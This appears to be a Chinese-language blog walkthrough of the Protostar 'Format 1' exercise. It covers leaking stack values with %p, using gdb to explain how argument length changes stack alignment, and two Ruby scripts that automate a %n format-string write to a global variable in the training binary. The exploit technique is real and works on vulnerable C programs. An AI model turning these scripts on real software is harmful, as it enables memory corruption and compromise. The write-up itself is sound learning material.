Featured image of post 格式,参数,红宝石

格式,参数,红宝石

Protostar Format 1 Walkthrough

☞ 最终的 Ruby 脚本放在了这里


Format One

☞ Protostar Format One

This level shows how format strings can be used to modify arbitrary memory locations.

Hints

  • objdump -t is your friend, and your input string lies far up the stack :)

This level is at /opt/protostar/bin/format1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Argv[1], %p, Breadcrumb

乍一看,感觉好简单x

int main(int argc, char **argv) 这里用了指针

那么思路就是打印一个面包屑做标记比如 ABCD 和一堆 %p 直到输出里出现 44434241 时,说明这里开始就是我们输入的 argv[1]

为什么要叫「面包屑」?参考《糖果屋》

另外,查看 man 3 printf 的话可以看到:

%p: The void * pointer argument is printed in hexadecimal (as if by %#x or %#lx).

所以 %p%08x 效果几乎是一样的,只是 %08x 会在位数不足时开头补上 0,但不会像 %p 那样在每个数字开头补上 “0x”

比如,在 %08x 里看起来是这样的值:00000021

%p 里看起来会是这样:0x21

另外,在 %08x 里看起来是这样的值:00000000

%p 里看起来会是这样:(nil),也就是 NULL 的意思


那么开始尝试吧…使用 ruby -e

user@protostar:/tmp$ /opt/protostar/bin/format1 `ruby -e 'puts "ABCD" + "|%p"*131 '`
ABCD|0x804960c|0xbffff628|0x8048469|0xb7fd8304|0xb7fd7ff4|0xbffff628|0x8048435|0xbffff7fc|0xb7ff1040|0x804845b|0xb7fd7ff4|0x8048450|(nil)|0xbffff6a8|0xb7eadc76|0x2|0xbffff6d4|0xbffff6e0|0xb7fe1848|0xbffff690|0xffffffff|0xb7ffeff4|0x804824d|0x1|0xbffff690|0xb7ff0626|0xb7fffab0|0xb7fe1b28|0xb7fd7ff4|(nil)|(nil)|0xbffff6a8|0xdda5d91d|0xf7f1cf0d|(nil)|(nil)|(nil)|0x2|0x8048340|(nil)|0xb7ff6210|0xb7eadb9b|0xb7ffeff4|0x2|0x8048340|(nil)|0x8048361|0x804841c|0x2|0xbffff6d4|0x8048450|0x8048440|0xb7ff1040|0xbffff6cc|0xb7fff8f8|0x2|0xbffff7e1|0xbffff7fc|(nil)|0xbffff98a|0xbffff998|0xbffff9ac|0xbffff9ce|0xbffff9e1|0xbffff9eb|0xbffffedb|0xbfffff19|0xbfffff2d|0xbfffff36|0xbfffff47|0xbfffff4f|0xbfffff5f|0xbfffff6c|0xbfffffa2|0xbfffffb1|0xbfffffc4|(nil)|0x20|0xb7fe2414|0x21|0xb7fe2000|0x10|0xf8bfbff|0x6|0x1000|0x11|0x64|0x3|0x8048034|0x4|0x20|0x5|0x7|0x7|0xb7fe3000|0x8|(nil)|0x9|0x8048340|0xb|0x3e9|0xc|(nil)|0xd|0x3e9|0xe|0x3e9|0x17|0x1|0x19|0xbffff7cb|0x1f|0xbfffffe1|0xf|0xbffff7db|(nil)|(nil)|0xdc000000|0xdcc44ff8|0x5d311124|0xf251c72e|0x6923116e|0x363836|0x706f2f00|0x72702f74|0x736f746f|0x2f726174|0x2f6e6962|0x6d726f66|0x317461|0x44434241user@protostar:/tmp$

好耶,看起来第 131 个 %p 就是 argv[1] 开始的地方了!

接下来看看 %n 的定义:

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

也就是说,可以用来一个地址写入「当前已打印了多少字符」

只要把 ABCD 换成自己想写的地址,第 131 个 %p 替换成 %n 就能改变这个地址的值了是么!


Script #1

于是我写出了如下的脚本:

#!/usr/bin/ruby

breadcrumb = "ABCD"

# convert ASCII to Hex in Little Endian
# str: String
# return: String
def to_hex(str)
	return str.unpack('N*').pack('V*').unpack('H*') * ""
end

index = 1
maximum = 200

while index < maximum
	command = "/opt/protostar/bin/format1 " + breadcrumb + "%p" * (index + 1)
	result = `#{command}`
	puts result
	if result.include? to_hex(breadcrumb) then break end
	index += 1
end

puts "index: #{index}"

# address of target: 0x08049638
target = "\x38\x96\x04\x08"

command = "/opt/protostar/bin/format1 " + target + ("%p" * index) + "%n"
puts "Running: #{command}"
puts `#{command}` 

这个脚本的思路很简单:

  1. 每次都多打印一个 %p
  2. 如果在返回里检测到了 breadcrumb小端序值(这里面包屑是 ABCD,对应的值是 44434241)那么就停下来
  3. 记住到底打印了多少个 %p 才到了栈上 argv[1] 的位置
  4. 把面包屑 breadcrumb 替换成要写的地址,打印同样多的 %p 但把最后一个 %p 替换成 %n
  5. 结束

Unpack, Pack, MAGIC

Method: Array#pack

有一个很奇怪的东西姑且也作为笔记记下来吧

也就是这个脚本里的 def to_hex(str)

它只做了一件事,就是 return str.unpack('N*').pack('V*').unpack('H*') * ""

然后就可以把一串 ASCII 变成小端序的十六进制值

这 是 魔 法

开一个 irb 来看看到底发生了什么吧

irb(main):009:0> tmp = "ABCD"
=> "ABCD"
irb(main):010:0> tmp = tmp.unpack('N*')
=> [1094861636]
irb(main):011:0> tmp = tmp.pack('V*')
=> "DCBA"
irb(main):012:0> tmp = tmp.unpack('H*')
=> ["44434241"]
irb(main):013:0> tmp = tmp * ""
=> "44434241"
irb(main):014:0> tmp.class
=> String

可见分为了以下步骤

  1. tmp.unpack('N*')

    把 String 类型的 tmp 转换成 32 bit 的整型,小端序。注意,从这里开始 tmp 的类型是 Array 了

  2. tmp.pack('V*')

    把 tmp 编码成字符串,大端序

  3. tmp = tmp.unpack('H*')

    把 tmp 编码成十六进制

  4. tmp = tmp * ""

    把 Array 类型的 tmp 转换成 String 类型


可是执行这个脚本的时候却出现了这样的结果:

...664106e50xf1fcc6110xabeb1fff0x6916e02d0x363836(nil)0x706f2f000x72702f740x736f746f0x2f7261740x2f6e69620x6d726f660x3174610x444342410x70257025
index: 132
Running: /opt/.....

打印了 132 个 %p ,然后确实出现了 0x444342410,但是却..不在最后一个 %p 上..而是在第 131 个

那为什么不在打印了 131 个 %p 后就停下来呢…

幸好每次增加一个 %p 的结果都有输出,让我们往上翻看一下 131 个 %p 时是什么情况…

......0x69622f720x6f662f6e0x74616d720x42410031

为什么打印 131 个 %p 时出现了 0x42410031

44 和 43 去哪里了呢…

我们回到开头那句命令

/opt/protostar/bin/format1 `ruby -e 'puts "ABCD" + "|%p"*133 '``

重新测试一下:

# pwd: /
# %p * 133
|0x616d726f|0x41003174|0x7c444342user@protostar:/$ 
# %p * 134
|0x317461|0x44434241|0x7c70257c|0x257c7025user@protostar:/$
# %p * 135
|0x726f662f|0x3174616d|0x43424100|0x70257c44|0x7c70257c|0x257c7025|0x70257c70user@protostar:/$

会发现面包屑对应的十六进制无法出现在一个 4 bytes 上

就算出现在了一个 4 bytes 里也并不出现在最后一个%p

这也就导致了那个脚本无法使用

到底怎么会是呢…


Pwd, Alignment, Environment Variables

不知道读者有没有注意到一点,

在最开始那个 44434241 完美出现在一个 4 bytes 里,还是在最后一个 %p 的情况,

它的工作目录是:/tmp

而上面那个无法对齐又不在最后一个的情况,工作目录是:/

看来大概的确是环境变量的问题,让我们开个 gdb 验证一下

检视一下栈的位置:

(gdb) info proc map
process 7506
cmdline = '/opt/protostar/bin/format1'
cwd = '/'
exe = '/opt/protostar/bin/format1'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0       /opt/protostar/bin/format1
	 0x8049000  0x804a000     0x1000          0       /opt/protostar/bin/format1
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

可以看到是从 0xbffeb0000xc0000000

接下来找找 argv[1] 的地址:

(gdb) disassemble main
Dump of assembler code for function main:
0x0804841c <main+0>:	push   ebp
0x0804841d <main+1>:	mov    ebp,esp
0x0804841f <main+3>:	and    esp,0xfffffff0
0x08048422 <main+6>:	sub    esp,0x10
0x08048425 <main+9>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048428 <main+12>:	add    eax,0x4
0x0804842b <main+15>:	mov    eax,DWORD PTR [eax]
0x0804842d <main+17>:	mov    DWORD PTR [esp],eax
0x08048430 <main+20>:	call   0x80483f4 <vuln>
0x08048435 <main+25>:	leave  
0x08048436 <main+26>:	ret    
End of assembler dump.

call 0x80483f4 <vuln> 设置断点并查看 EAX 指向的值就是 argv[1]

(gdb) break *0x08048430
Note: breakpoint 2 also set at pc 0x8048430.
Breakpoint 3 at 0x8048430: file format1/format1.c, line 19.
(gdb) r ABCD1234
Starting program: /opt/protostar/bin/format1 ABCD1234

Breakpoint 2, 0x08048430 in main (argc=2, argv=0xbffff844) at format1/format1.c:19
19	in format1/format1.c
(gdb) info registers 
eax            0xbffff987	-1073743481
ecx            0x4fa715d9	1336350169
edx            0x2	2
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff780	0xbffff780
ebp            0xbffff798	0xbffff798
esi            0x0	0
edi            0x0	0
eip            0x8048430	0x8048430 <main+20>
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

可以看到 EAX 的地址是 0xbffff987

为了方便演示,我这里把 EAX 的地址 0xbffff987 前面的一部分内容也打印出来,就从 0xbffff970 开始吧

使用 x/20s 即:[Examine] / [next 20 values] [String]

(gdb) x/20s 0xbffff970
0xbffff970:	 "/protostar/bin/format1"
0xbffff987:	 "ABCD1234"
0xbffff990:	 "USER=user"
0xbffff99a:	 "SSH_CLIENT=192.168.2.....

可以看到,argv[1] = ABCD1234 时,地址是 0xbffff987

argv[1] 后面出现的那些是环境变量,我们暂时不用去管

接下来试着给 argv[1] 增加字符….

(gdb) r ABCD12345
(gdb) x/20s 0xbffff970
0xbffff970:	 "protostar/bin/format1"
0xbffff986:	 "ABCD12345"
0xbffff990:	 "USER=user"

(gdb) r ABCD123456
(gdb) x/20s 0xbffff970
0xbffff970:	 "rotostar/bin/format1"
0xbffff985:	 "ABCD123456"
0xbffff990:	 "USER=user"

(gdb) r ABCD1234567
(gdb) x/20s 0xbffff970
0xbffff970:	 "otostar/bin/format1"
0xbffff984:	 "ABCD1234567"
0xbffff990:	 "USER=user"
0xbffff99a:	 "SSH_CL...

可以看到随着参数的逐渐加长,argv[1] 的地址逐渐在减小…

但是这又怎么会影响 printf 读到的内容呢..

因为就算argv[1] 的地址逐渐减小,那 printf 的地址也会逐渐减小的啊,一次减小一个 bytes 的话,printf 的地址到 argv[1] 的地址中间的距离应该不变才对…

EAX, EBP, Buffer

上面的设想是错的,实际上 printf 的地址到 argv[1] 的地址中间的距离确实地改变了

依然用 gdb 做个实验吧,在 call 0x80483f4 <vuln> 设置断点

(gdb) disassemble  main
Dump of assembler code for function main:
0x0804841c <main+0>:	push   ebp
0x0804841d <main+1>:	mov    ebp,esp
0x0804841f <main+3>:	and    esp,0xfffffff0
0x08048422 <main+6>:	sub    esp,0x10
0x08048425 <main+9>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048428 <main+12>:	add    eax,0x4
0x0804842b <main+15>:	mov    eax,DWORD PTR [eax]
0x0804842d <main+17>:	mov    DWORD PTR [esp],eax
0x08048430 <main+20>:	call   0x80483f4 <vuln>
0x08048435 <main+25>:	leave  
0x08048436 <main+26>:	ret    
End of assembler dump.
(gdb) break *0x08048430
Breakpoint 1 at 0x8048430: file format1/format1.c, line 19.

然后改变参数的长度…

(gdb) r ABCD1234AB
Starting program: /opt/protostar/bin/format1 ABCD1234AB
Breakpoint 1, 0x08048430 in main (argc=2, argv=0xbffff844) at format1/format1.c:19
19	in format1/format1.c
(gdb) info registers 
eax            0xbffff97c	-1073743492
ecx            0xad015181	-1392422527
edx            0x2	2
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff780	0xbffff780
ebp            0xbffff798	0xbffff798
esi            0x0	0


(gdb) r ABCD1234ABC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format1 ABCD1234ABC

Breakpoint 1, 0x08048430 in main (argc=2, argv=0xbffff844) at format1/format1.c:19
19	in format1/format1.c
(gdb) info registers 
eax            0xbffff97b	-1073743493
ecx            0x912d21cc	-1859313204
edx            0x2	2
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff780	0xbffff780
ebp            0xbffff798	0xbffff798
esi            0x0	0


(gdb) r ABCD1234ABCD
Starting program: /opt/protostar/bin/format1 ABCD1234ABCD
Breakpoint 1, 0x08048430 in main (argc=2, argv=0xbffff834) at format1/format1.c:19
19	in format1/format1.c
(gdb) info registers 
eax            0xbffff97a	-1073743494
ecx            0xadac7a9d	-1381205347
edx            0x2	2
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff770	0xbffff770
ebp            0xbffff788	0xbffff788
esi            0x0	0

可以看到,从 ABCD1234ABABCD1234ABC 时,EAX 确实减小了一,但 EBP 的值没变

ABCD1234ABCABCD1234ABCD 时,EAX 确实减小了一,

但 EBP…从 0xbffff7980xbffff788,减小了 16…

那 EBP 是什么呢?

我们可以看到在 main() 的汇编代码的第一行出现了 0x0804841c <main+0>: push ebp

而这里的 EBP 就是 main 函数在栈中开始读写数据的位置

☞ 建议看看这些

推测有那么一个 16 bytes 的 buffer,每当 buffer 塞满时,主程序所占的栈空间就整体下移 16 bytes,具体体现在 EBP 减小了 16

至于原因…?类似硬盘的 4K 对齐?

总之这就是为什么我们用 %p 来打印 4 bytes 时 44434241 无法出现在同一个 %p 内的原因,毕竟每次参数长度的改变都会改变argv[1] 的地址

虽然原理是知道了,但总感觉好像无解x


Script #2

于是稍微修改了一下先前的脚本,现在的脚本思路是:

  1. 每次都多打印一个 %p
  2. 如果在返回里检测到了 breadcrumb小端序值(这里面包屑是 ABCD,对应的值是 44434241)那么就停下来
  3. 记录输出中第几个 %p 的位置对应着面包屑十六进制值
  4. 记录到底打印了多少个 %p 才到了栈上 argv[1] 的位置
  5. 把面包屑 breadcrumb 替换成要写的地址,打印同样多的 %p 但把第三步中记录的 %p 换成 %n
  6. 结束
#!/usr/bin/ruby

# convert ASCII to Hex in Little Endian
# str: String
# return: String
def to_hex(str)
        # convert to 32 bit integers in small endian
        # the tmp is Array
        tmp = str.unpack('N*')
        # encode these integers with big endian
        tmp = tmp.pack('V*')
        # encode the result in hexadecimal
        tmp = tmp.unpack('H*')
        # convert Array to String
        return tmp * ""
end

# address of target: 0x08049638
target = "\x38\x96\x04\x08"
breadcrumb = "ABCD"
times = 1
maximum = 200

while times <= maximum
	command = <<-END
/opt/protostar/bin/format1 "#{breadcrumb} #{"%p " * times}"
	END
	result = `#{command}`
	if result.include? to_hex(breadcrumb) then break end
        if times == maximum then abort("err") end
	times += 1
end

puts result
puts "> %p appeared #{times} times"

breadcrumb_index = result.split.index("0x" + to_hex(breadcrumb))
puts "> breadcrumb appeared in the #{breadcrumb_index} %p"

command = <<-END
/opt/protostar/bin/format1 "#{target} #{"%p " * (breadcrumb_index - 1)}%n #{"%p " * (times - breadcrumb_index)}"
END

puts "> exec: #{command}"
puts `#{command}`

完成w